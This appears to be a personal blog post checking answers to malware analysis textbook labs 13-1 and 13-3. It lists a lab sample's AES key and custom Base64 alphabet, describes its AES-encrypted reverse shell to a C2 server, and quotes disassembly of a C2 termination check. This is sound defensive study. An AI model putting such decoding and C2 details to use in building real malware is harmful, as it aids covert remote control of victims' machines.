5. The key for AES is ijklmnopqrstuvwx. The key for the custom Base64 cipher is the index string:

CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/

6. The index string is sufficient for the custom Base64 implementation. For AES, variables other than the key may be needed to implement decryption, including the key-generation algorithm if one is used, the key size, the mode of operation, and the initialization vector if one is needed.

7. The malware establishes a reverse command shell with the incoming commands decoded using the custom Base64 cipher and the outgoing command-shell responses encrypted with AES.

8. See the detailed analysis for an example of how to decrypt content.

答え合わせ

Lab 13-1

このマルウェアはC2サーバーからのレスポンス・データの先頭バイトがoだった場合に活動を終了するのだが、この処理を見落としていた。

.text:004012EA                         loc_4012EA:
.text:004012EA 0F BE 8D A8 FA FF FF    movsx   ecx, [ebp+Buffer]
.text:004012F1 83 F9 6F                cmp     ecx, 'o'
.text:004012F4 75 04                   jnz     short loc_4012FA

Lab 13-3

ijklmnopqrstuvwxはIVではなく、鍵だった。このマルウェアはC2コマンドの実行結果をAES暗号化して、C2サーバーに送信する。

Leave a Reply

Your email address will not be published. Required fields are marked *